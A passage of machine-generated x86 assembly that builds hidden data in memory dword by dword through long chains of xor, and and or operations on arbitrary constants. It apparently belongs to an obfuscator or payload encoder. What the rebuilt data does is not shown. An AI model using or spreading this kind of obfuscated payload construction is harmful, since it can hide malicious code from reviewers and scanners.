add ebx, ecx
xor eax, 0x1f63cd0f
and eax, 0x1a22000
or eax, 0x6004003
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x33e9b688
and eax, 0x9d609
or eax, 0x49842820
mov dword [ebx], eax
add ebx, ecx
or eax, 0x28de3fc1
and eax, 0x9f0f29
or eax, 0x94200010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xde524be
and eax, 0x99482b85
or eax, 0x4a59468
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x558e5d1b
and eax, 0x8208262
or eax, 0x16080808
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3d1b855e
and eax, 0x400804a
or eax, 0x3637394
mov dword [ebx], eax
add ebx, ecx
and eax, 0x357ff41d
or eax, 0x54e5e8c9
and eax, 0x14670808
or eax, 0x28080720
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6280bdc5
and eax, 0xd00
or eax, 0xcb9302fd
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xbc51775
xor eax, 0x22df57f1
and eax, 0x42890658
or eax, 0x19120006
mov dword [ebx], eax
add ebx, ecx
or eax, 0xcdfa0
and eax, 0x4b83c574
or eax, 0x20002001
mov dword [ebx], eax
add ebx, ecx
or eax, 0xc43ecf2
xor eax, 0x2d704d6b
and eax, 0x202004
or eax, 0x5044b23
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2623830a
and eax, 0x4d6c9db
and eax, 0x4004802
or eax, 0x71991210
mov dword [ebx], eax
add ebx, ecx
and eax, 0x70ea30aa
or eax, 0x63f546c
and eax, 0x72b71466
or eax, 0x8940a391
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x64355d35
and eax, 0x10002202
or eax, 0x20041431
mov dword [ebx], eax
add ebx, ecx
and eax, 0x34fb96d2
and eax, 0x20001000
or eax, 0x5ece004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x78d89efa
and eax, 0x27299011
and eax, 0x20089000
or eax, 0xd2d26220
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c0ace16
xor eax, 0x2afd7fb
and eax, 0x28510ea
or eax, 0xa550c204
mov dword [ebx], eax
add ebx, ecx
and eax, 0x742d7f10
or eax, 0x65d174e4
and eax, 0x64543224
or eax, 0x2220802
mov dword [ebx], eax
add ebx, ecx
and eax, 0x74ec2e4d
or eax, 0x18629cc1
and eax, 0x7c660c05
or eax, 0x8318000a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1a621e86
and eax, 0xa1141289
or eax, 0x10a10566
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2ee9c6b3
xor eax, 0x6ea0c339
and eax, 0x810d0044
or eax, 0xe806918
mov dword [ebx], eax
add ebx, ecx
and eax, 0x77f31392
or eax, 0x39bca8ed
and eax, 0x1329a189
or eax, 0x80425602
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7912b7d6
and eax, 0xe2704055
or eax, 0x4061120
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1dde0026
and eax, 0x23084113
or eax, 0x16aa00
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x56b8e92f
xor eax, 0x3066799a
and eax, 0x4b22
or eax, 0x382b0001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x47df3ddb
or eax, 0x7c2cd17a
and eax, 0x5e91cf0
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3d97d01c
and eax, 0x1810000
or eax, 0x524e4e4a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7b926fa1
and eax, 0x412123
or eax, 0xc0020a10
mov dword [ebx], eax
add ebx, ecx
and eax, 0x52adc96e
and eax, 0x40000120
or eax, 0x16e6d400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x73673af8
and eax, 0x1267bb58
or eax, 0x88080007
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5079fe69
xor eax, 0x7875e8c8
and eax, 0xa1306
or eax, 0x54d5c048
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1f1d8294
and eax, 0x3c20190
or eax, 0x2029a225
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4fd476e8
and eax, 0x4829840d
or eax, 0x80000a00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x46922198
and eax, 0x4aaa0298
or eax, 0x11041042
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d887ef7
or eax, 0x4e38c8bc
and eax, 0x3206e435
or eax, 0x80801240
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5a3fa15d
and eax, 0x62010
or eax, 0x49484e22
mov dword [ebx], eax
add ebx, ecx
or eax, 0x413ad1c5
and eax, 0x82c1da5
or eax, 0xa0810008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x42b7c1f1
and eax, 0x8a8b5111
or eax, 0x11000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x45752b1c
xor eax, 0x4d315ad5
and eax, 0x11090018
or eax, 0x60309d21
mov dword [ebx], eax
add ebx, ecx
and eax, 0x404245e
xor eax, 0x43f22428
and eax, 0x41e02000
or eax, 0x8401018a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13c9f901
and eax, 0x643f46d2
and eax, 0x10000
or eax, 0xfcfe0f84
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1568962
and eax, 0x520100
or eax, 0xb3215489
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5d0f76d9
and eax, 0x4a4506c1
or eax, 0x8026
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x135adff8
and eax, 0x41101909
or eax, 0x420a040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x21364fab
and eax, 0x441623e1
or eax, 0x82810010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5360322f
xor eax, 0x853c7b
and eax, 0x11100085
or eax, 0x600d4048
mov dword [ebx], eax
add ebx, ecx
or eax, 0x54bf5793
and eax, 0x58e1044
or eax, 0xa000800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x643fb5a3
or eax, 0xc183cda
and eax, 0x478b005f
or eax, 0x90004000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x71d67304
and eax, 0x36c1115f
or eax, 0x8000c20
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3b05418c
and eax, 0x4c51
or eax, 0xc8120100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x261c092b
and eax, 0x8a16494a
or eax, 0x141a004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6009195b
and eax, 0x48427001
or eax, 0x81086a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x77552d9a
and eax, 0x40012008
or eax, 0xbb985510
mov dword [ebx], eax
add ebx, ecx
and eax, 0x22110d6a
xor eax, 0x721cbd9b
and eax, 0x500c9090
or eax, 0x2c204508
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6c3c4a6f
or eax, 0x780db5ca
and eax, 0x48250442
or eax, 0x2520821
mov dword [ebx], eax
add ebx, ecx
and eax, 0x37736fcb
and eax, 0x7e2708f2
and eax, 0x210042
or eax, 0x9cc8753c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4d513d4d
and eax, 0x50ee736b
and eax, 0x10a04003
or eax, 0x26560214
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2505c474
or eax, 0x678771f2
and eax, 0x20810010
or eax, 0x88001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1298bdb1
and eax, 0x880000
or eax, 0x5e325ea4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x691580c7
xor eax, 0x23023e6e
and eax, 0x61103088
or eax, 0x94008114
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7a0a081
and eax, 0x33203098
or eax, 0x8054420
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5eed24c2
xor eax, 0x55f91530
and eax, 0x30310548
or eax, 0x8d8e2224
mov dword [ebx], eax
add ebx, ecx
and eax, 0x784e8f9e
and eax, 0x30000100
or eax, 0x468178a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x300f1b41
and eax, 0x50000b81
or eax, 0x9508018
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5f088ff4
and eax, 0x49008b90
or eax, 0x26f34067
mov dword [ebx], eax
add ebx, ecx
or eax, 0x660fc1db
and eax, 0x42a9af78
and eax, 0x42288120
or eax, 0x34427083
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x147becdd
and eax, 0x4a2bc365
and eax, 0x40000104
or eax, 0x18dc328b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5958528d
xor eax, 0xf1d0735
and eax, 0x544401a8
or eax, 0x8982a07
mov dword [ebx], eax
add ebx, ecx
and eax, 0x9fcb7e8
and eax, 0x8c803a8
or eax, 0xd721c403
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2ac713d9
or eax, 0x556a0979
and eax, 0x4acb01a8
or eax, 0x80042000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x29e11ee7
or eax, 0x6ebd1bfb
and eax, 0x6ce418a9
or eax, 0x1000c000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7c9f335f
and eax, 0x1bd82c6d
and eax, 0x800001
or eax, 0x81599c14
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x41608e88
xor eax, 0x3ee54f69
and eax, 0xc6145914
or eax, 0x183a200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13619e18
and eax, 0x200
or eax, 0x90080526
mov dword [ebx], eax
add ebx, ecx
or eax, 0x67999fae
and eax, 0x33880024
or eax, 0x642041
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4875338b
and eax, 0x61013167
or eax, 0x84000c10
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4c165459
and eax, 0x89036800
or eax, 0x52281681
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x106fd474
or eax, 0x38bc89ed
and eax, 0xd0bc8234
or eax, 0x4020002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x540a93d8
and eax, 0x84016c
or eax, 0x6b016401
mov dword [ebx], eax
add ebx, ecx
and eax, 0x112b1378
and eax, 0x10040
or eax, 0x4e52ea93
mov dword [ebx], eax
add ebx, ecx
or eax, 0x12b6f720
xor eax, 0x77ccb06d
and eax, 0x118080a
or eax, 0x56408061
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4d457acf
and eax, 0xa197284
or eax, 0xe0a20113
mov dword [ebx], eax
add ebx, ecx
and eax, 0x53ca2f69
and eax, 0x2820300
or eax, 0x19445048
mov dword [ebx], eax
add ebx, ecx
and eax, 0x65eb0a15
or eax, 0x5722fc72
and eax, 0x12e21640
or eax, 0x88100009
mov dword [ebx], eax
add ebx, ecx
and eax, 0x731af34c
and eax, 0x2121240
or eax, 0x4989c513
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2e377801
and eax, 0x41088f02
or eax, 0x430025
mov dword [ebx], eax
add ebx, ecx
or eax, 0x161f435d
xor eax, 0xf2b3765
and eax, 0x1850800a
or eax, 0x87800064
mov dword [ebx], eax
add ebx, ecx
and eax, 0x77e60bfb
and eax, 0x69460e75
and eax, 0x1400060
or eax, 0x1291270d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4bb2cc07
and eax, 0x1023a008
or eax, 0xa7840484
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4bd76c7f
xor eax, 0x33cc911d
and eax, 0x4b44848
or eax, 0x2002a201
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6378d0f9
or eax, 0x4f69f9b0
and eax, 0x40592171
or eax, 0x80800602
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x42a6f24a
or eax, 0x2d84b39e
and eax, 0x82cd57bb
or eax, 0x10000800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7bf5667f
and eax, 0x10010233
or eax, 0xac3029c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4982c584
and eax, 0x4124131
or eax, 0x2480000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x24145599
xor eax, 0x7b3b8000
and eax, 0x2e208101
or eax, 0x1008a6
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4f07b35b
and eax, 0x6008001
or eax, 0x80b61430
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5decee
and eax, 0x15ae48ec
and eax, 0
or eax, 0xe978fd97
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7a0ecb7f
and eax, 0x90201268
or eax, 0x98901
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4d34b2c
xor eax, 0x7691ea61
and eax, 0x82002108
or eax, 0x1505c832
mov dword [ebx], eax
add ebx, ecx
or eax, 0x122debc1
or eax, 0x5d34a989
and eax, 0x8b288292
or eax, 0x20401400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2b44531f
xor eax, 0x22dcf30e
and eax, 0x80303682
or eax, 0x49010024
mov dword [ebx], eax
add ebx, ecx
or eax, 0x48194ffa
and eax, 0xc1191a34
or eax, 0x32420000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x77f72fed
and eax, 0xa4c02e14
or eax, 0x8000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1dfc1c47
xor eax, 0x50129c20
and eax, 0x10c01000
or eax, 0xa32c0109
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3ad15898
or eax, 0x22796587
and eax, 0x8b4c0c00
or eax, 0x54020260
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3bba67c6
or eax, 0x77cda94f
and eax, 0x5e82ae41
or eax, 0x802010b0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x65027009
xor eax, 0x1ad2fbb5
and eax, 0x52d00020
or eax, 0x22003
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e99d433
or eax, 0x737999c9
and eax, 0xe739100
or eax, 0x80000202
mov dword [ebx], eax
add ebx, ecx
and eax, 0xf0aa9ae
and eax, 0x28002
or eax, 0x404c0e58
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7b072bd0
and eax, 0x74ab57da
and eax, 0x600905d0
or eax, 0x4f02800
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe246803
and eax, 0x800
or eax, 0x2005040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3a532b47
or eax, 0x67f1ea2d
and eax, 0x77b0412b
or eax, 0x80080440
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6b993b3e
xor eax, 0x44655aac
and eax, 0x500404d9
or eax, 0x6101306
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e6a2c57
xor eax, 0x73bb823d
and eax, 0x8459931
or eax, 0x9020404a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6006e94e
and eax, 0x4840b109
or eax, 0x2080400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x211fa8c6
xor eax, 0x5a3ce7b1
and eax, 0x20424802
or eax, 0x42848081
mov dword [ebx], eax
add ebx, ecx
and eax, 0x672f2a8e
and eax, 0x62020882
or eax, 0x9d0271d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x9fab2b8
xor eax, 0x812dd5e
and eax, 0x400062e1
or eax, 0x1c048c18
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3c559cbb
or eax, 0x42eaa96a
and eax, 0x807948
or eax, 0x14000485
mov dword [ebx], eax
add ebx, ecx
or eax, 0x34d015bf
xor eax, 0x7626559b
and eax, 0xa02020
or eax, 0x4008691
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x388c398f
and eax, 0x14288408
or eax, 0x1516080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2fd3cdae
and eax, 0x1a282920
or eax, 0xc4118010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x38e4fcaa
and eax, 0xc684448a
or eax, 0x8228a40
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5d889a87
or eax, 0x70c9f9cb
and eax, 0x7de8e747
or eax, 0x30
mov dword [ebx], eax
add ebx, ecx
or eax, 0x74a7cfa8
and eax, 0x58a7cf6a
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7a04377c
and eax, 0x20a1d010
or eax, 0xc55807e0
mov dword [ebx], eax
add ebx, ecx
or eax, 0xc382cb8
and eax, 0x458f9c3
and eax, 0x40039c0
or eax, 0xaa60028
mov dword [ebx], eax
add ebx, ecx
or eax, 0x13865bd3
and eax, 0xea45909
or eax, 0xa0580404
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x75d44779
and eax, 0x1833faf
and eax, 0x1804
or eax, 0xb694a081
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xcdf60b1
and eax, 0x73fe3685
and eax, 0x30420000
or eax, 0xc920424b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x11897fa6
and eax, 0x262fbcc7
and eax, 0x2a2480
or eax, 0xc3148238
mov dword [ebx], eax
add ebx, ecx
and eax, 0x65424931
and eax, 0x40020030
or eax, 0x9644bb07
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5a348539
and eax, 0x517e31de
and eax, section..text
or eax, 0x408cc0e0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4e3f7f13
and eax, 0x4a1bfa1
and eax, 0x21ad81
or eax, 0xf1504058
mov dword [ebx], eax
add ebx, ecx
and eax, 0x50139125
and eax, 0x40000000
or eax, 0x83ee3c9e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x42be3187
and eax, 0xaa0084
or eax, 0x1910ce69
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4f928b4a
and eax, 0x553a4220
or eax, 0x52000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x191327aa
or eax, 0x7e5aee22
and eax, 0x49092802
or eax, 0x840004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2487ff34
and eax, 0x2ab9cc05
and eax, 0x804
or eax, 0xb31c314b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5695bd01
and eax, 0xb298894b
or eax, 0x420290
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x59c7ee17
and eax, 0x40186544
or eax, 0xe21a03
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1e2ebfdf
or eax, 0x1fa7b0af
and eax, 0xb279745
or eax, 0x60100000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x157a3160
or eax, 0x32dcbc84
and eax, 0x600a005
or eax, 0x80204040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x63ed48bd
and eax, 0x2204004
or eax, 0xbc033300
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5865d0d3
xor eax, 0x3b522d71
and eax, 0x41205c24
or eax, 0x20c02109
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x66e69d6d
xor eax, 0x6379dfd1
and eax, 0x511c10
or eax, 0x9180002c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2ada1e25
and eax, 0x48370da4
and eax, 0x100004
or eax, 0x9cce91d1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4a3a50dc
and eax, 0xc0a40000
or eax, 0x200022b2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x20bbde05
and eax, 0x40005820
or eax, 0x39600040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x24d09c88
and eax, 0x2880c0e8
or eax, 0x82062201
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7b962154
xor eax, 0x4780da1b
and eax, 0x20120886
or eax, 0x41e1c200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3c3a1577
xor eax, 0x3113fd87
and eax, 0x20cc00
or eax, 0xcece026a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x61e3f115
and eax, 0x1ffcb4b1
and eax, 0x42010
or eax, 0x709008ca
mov dword [ebx], eax
add ebx, ecx
or eax, 0x76280314
or eax, 0x732b8669
and eax, 0x42162672
or eax, 0x4000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x357ab65f
xor eax, 0x37969980
and eax, 0xe0684a
or eax, 0x3d159000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5ed519af
and eax, 0x40603028
or eax, 0x80000010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x9c08c26
and eax, 0x4160803c
or eax, 0x14034000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x47d96403
and eax, 0x282a02d
or eax, 0x454449c0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x23c7ba0e
and eax, 0x462004
or eax, 0xfc380200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7374c3d5
and eax, 0x200004
or eax, 0xe00a159
mov dword [ebx], eax
add ebx, ecx
or eax, 0x60d0bde4
xor eax, 0x11056cf4
and eax, 0x32319009
or eax, 0xa0262
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3c04d1d5
and eax, 0x10000001
or eax, 0x47dc643a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2742192c
and eax, 0x2400000
or eax, 0x28a8ba02
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7b3b3bd0
or eax, 0x1a7600ca
and eax, 0x5894810a
or eax, 0xa0083c25
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xd132033
xor eax, 0x13054305
and eax, 0x420ad400
or eax, 0x195401c4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2400026f
and eax, 0
or eax, 0xc74d2233
mov dword [ebx], eax
add ebx, ecx
and eax, 0x22397327
and eax, 0x90002
or eax, 0x2906dc94
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2957d74a
and eax, 0x2cd0a30e
and eax, 0x400104
or eax, 0x36266001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x36bb258c
and eax, 0xcd0089
or eax, 0x100a972
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2993a2f8
and eax, 0x2080
or eax, 0xa425b05
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7f69eaff
and eax, 0x400885
or eax, 0x582146a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x50ec247
or eax, 0x7cfa1d5b
and eax, 0x2d621d05
or eax, 0x82018000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7e0ec1fd
and eax, 0xeb6cc539
or eax, 0x800002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x455df04a
and eax, 0x4ab42052
or eax, 0x80
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4fa35c61
or eax, 0x163ec157
and eax, 0x23424d2
or eax, 0x48800008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6b0f43e2
and eax, 0x20a94118
or eax, 0x4400000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6a75739
and eax, 0x4e81601
or eax, 0x8002046
mov dword [ebx], eax
add ebx, ecx
or eax, 0x71aeccd8
and eax, 0x79e880d0
or eax, 0x2010020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x350cd7ab
or eax, 0x43eb246d
and eax, 0x20c0a0ec
or eax, 0x4001010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1d2d46bb
or eax, 0x3c3887dc
and eax, 0x52d14d8
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x51e818e4
and eax, 0x113f8194
and eax, 0x10040010
or eax, 0x870c1c1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x100c3b57
and eax, 0x1d095870
and eax, 0x18080050
or eax, 0x4707a181
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2fd9bf3d
and eax, 0x2092010
or eax, 0x20121820
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4f6c6a07
xor eax, 0x11939fb5
and eax, 0xca42182
or eax, 0x121269
mov dword [ebx], eax
add ebx, ecx
or eax, 0x73ee18b6
and eax, 0x40102b1d
or eax, 0x1c400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x21fb03d9
xor eax, 0x1d5eaf3e
and eax, 0x64b4037a
or eax, 0x834bb000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2a636ff1
or eax, 0x32567591
and eax, 0x103444c1
or eax, 0xcd808002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x70cb02ac
and eax, 0x55bc666
or eax, 0x2000980
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x35122986
and eax, 0x20408060
or eax, 0x45200817
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1a65b862
and eax, 0x600842
or eax, 0xc3872688
mov dword [ebx], eax
add ebx, ecx
or eax, 0x41f5279
and eax, 0x412952cb
or eax, 0x8008100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3e348c7
xor eax, 0x697756a8
and eax, 0xad04a0
or eax, 0x8422013
mov dword [ebx], eax
add ebx, ecx
and eax, 0x20a3a411
xor eax, 0x4a57ede9
and eax, 0xab44828
or eax, 0x14020404
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2f9b0f39
and eax, 0x3bbd0925
or eax, 0x804000c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x739d8414
xor eax, 0x222a6705
and eax, 0x80000a10
or eax, 0x20040e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3f0bdac9
or eax, 0x142a2999
and eax, 0xa520fcd5
or eax, 0x400020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3ff70258
and eax, 0x3a505034
or eax, 0x40000102
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3a3e21c2
and eax, 0x58667dbe
and eax, 0x40462094
or eax, 0x408054a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3cdbc9fa
xor eax, 0x73efbe37
and eax, 0x280001
or eax, 0x740100c4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x20b7c567
xor eax, 0x62a81b6
and eax, 0x2020120
or eax, 0x1130380c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6676cf0c
and eax, 0x120904
or eax, 0xbc44d490
mov dword [ebx], eax
add ebx, ecx
and eax, 0x632b5bf3
and eax, 0x20001090
or eax, 0x5898260
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1c5d43c1
xor eax, 0x165f308
and eax, 0xc1820d8
or eax, 0xc045d306
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x794c8d9c
and eax, 0x10010242
or eax, 0x480200b4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6c75c632
and eax, 0x36974990
and eax, 0x14164080
or eax, 0x8ac8002c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4f67496d
and eax, 0x46559c95
and eax, 0x10000
or eax, 0xaeaeb668
mov dword [ebx], eax
add ebx, ecx
or eax, 0x282c1f56
and eax, 0xac852e2e
or eax, 0x51400000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x790773a
and eax, 0x1002400
or eax, 0x2262c001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c558529
or eax, 0x4e8c27f1
and eax, 0x60ca6b1
or eax, 0xa0111808
mov dword [ebx], eax
add ebx, ecx
and eax, 0x66a02e80
and eax, 0x20000600
or eax, 0x98c59133
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3595c984
and eax, 0x81104010
or eax, 0x10838148
mov dword [ebx], eax
add ebx, ecx
or eax, 0xc80b40f
xor eax, 0x42ccc387
and eax, 0x850122d0
or eax, 0xa08121
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x26997dab
and eax, 0x83109848
or eax, 0x584120a5
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3ba0077e
xor eax, 0x660c62d4
and eax, 0x9d650521
or eax, 0x22214
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e027dfb
and eax, 0x2644088
or eax, 0x548a8000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5d74cf4d
and eax, 0x14640000
or eax, 0x289a1424
mov dword [ebx], eax
add ebx, ecx
or eax, 0x18f7b93b
and eax, 0x2e74b791
and eax, 0x20143101
or eax, 0xc30248ec
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5cae90b7
and eax, 0x13455e62
and eax, 0x1000
or eax, 0x6590ab0b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3e7dcd33
and eax, 0x520d2220
or eax, 0x4120143
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6d2f087a
and eax, 0x1104767e
and eax, 0x10002000
or eax, 0xe617d963
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2b62597f
and eax, 0x64724673
and eax, 0x20304032
or eax, 0x18d9388
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3ede5d2b
and eax, 0x201c502a
or eax, 0x47208cd5
mov dword [ebx], eax
add ebx, ecx
and eax, 0xaef4c7f
or eax, 0x4456aa27
and eax, 0x64ec833
or eax, 0x1010080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x77004b71
xor eax, 0x2e7d1105
and eax, 0x20281824
or eax, 0xd0820248
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3878b751
and eax, 0x860897c
or eax, 0x4004082
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xdce7d21
and eax, 0x188b05d
or eax, 0x88504a00
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4497e392
and eax, 0x80909cd
or eax, 0x30b0a030
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6a524cf1
and eax, 0x42608400
or eax, 0xa8100243
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7b990fe6
and eax, 0x1010985
or eax, 0x4061442
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x17b651ca
and eax, 0x1231400d
or eax, 0xcc000280
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7d28d4c3
xor eax, 0x33fe751e
and eax, 0x441c349a
or eax, 0x8000c000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x78d58222
and eax, 0xa8c974b8
or eax, 0x40308101
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4ad9858b
and eax, 0x200030
or eax, 0x41408808
